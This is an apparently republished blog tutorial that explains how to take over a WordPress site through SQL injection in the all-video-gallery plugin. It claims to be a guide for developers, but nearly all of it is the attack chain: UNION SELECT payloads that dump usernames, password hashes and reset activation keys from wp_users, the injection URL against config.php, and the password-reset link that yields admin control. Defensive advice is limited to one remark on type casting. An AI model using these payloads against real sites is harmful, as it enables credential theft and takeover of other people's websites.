How to Hack a WordPress Site using SQL Injection

http://www.flippercode.com/how-to-hack-wordpress-site-using-sql-injection


First of all, My intention is not to teach someone how to hack sites of others and destroy others hardwork. This is guide for WordPress Developers, who are newbie in coding or don’t aware about Vulnerabilities might be present in plugins they’re using, so they can avoid coding mistakes.

STEP 1 – Find out Vulnerabilities in WordPress Website

If your website has been hacked or you want to make sure no one can hack this, you must have to take a look on plugins files and it’s coding. Might be somewhere coder is using sql queries without awareness of SQL Injection way to hack wordpress website. If this is somewhere, hacker will use union query and can fetch your all database rows from wp_users table and Below is an example query to fetch all wordpress users using union query to know email addresses of all users.

 -1 union Select 1,2,3,4,5,6,group_concat(user_login,----,user_pass),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,262,7,28,29,30,31,32,33,34,35,36,37,38,39,40 from wp_users

What exactly hacker doing is here to know email of the admin, for this, he is using an union query.

Few months ago, Plugin all-video-gallery had a Vulnerabilities in config.php because of following code.

"SELECT * FROM ".$wpdb->prefix."allvideogallery_profiles WHERE id=".$_pid

In this query, Plugin developer was using $_pid variable directly in query without any type casting.

$_pid=$_GET['pid']

So hacker could pass this union query using pid attribute parameter in url like this.

http://{Domain_Name_Here}/wp-content/plugins/all-video-gallery/config.php?vid=1&pid=11&pid={union Query here}

if you append that union query in this query it’s become as below.

 "SELECT * FROM ".$wpdb->prefix."allvideogallery_profiles WHERE id=-1 union Select 1,2,3,4,5,6,group_concat(user_login,0xa,user_pass),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,262,7,28,29,30,31,32,33,34,35,36,37,38,39,40 from wp_users 

This file output is a xml file

how to hack a wordpress site

STEP 2 – Reset WordPress Password and Get Activation Key

Now they’ll try to reset your password using administrator’s email. For this, they’ll go to login page and will click on Lost Your Password link. On this time, A new activation code will be mailed to administrator’s email and hacker will get this activation code using following query.

-1 union Select 1,2,3,4,5,6,group_concat(user_login,user_activation_key),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,262,7,28,29,30,31,32,33,34,35,36,37,38,39,40 from wp_users

Again, They’ll pass this union query as previous step.

This file output is a xml file as below

how-to-hack-wordpress-website step 2

how to hack wordpress website step 2

STEP 3 – Use Activation key and Reset Password

This one is last step where he’ll actually reset your password and will get full control on your wordpress website. In this step, He’ll use activation key to reset password and will follow this link http://{DOMAIN_NAME_HERE}/wp-login.php?action=rp&key={ACTIVATION_KEY_HERE}&login={USERNAME_HERE}

So a hacker could be able to access your wordpress website and can have full control on your website. Normally they insert malicious code on your files or modify a plugin file to become that as a wordpress backdoor to hack your website again. 


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值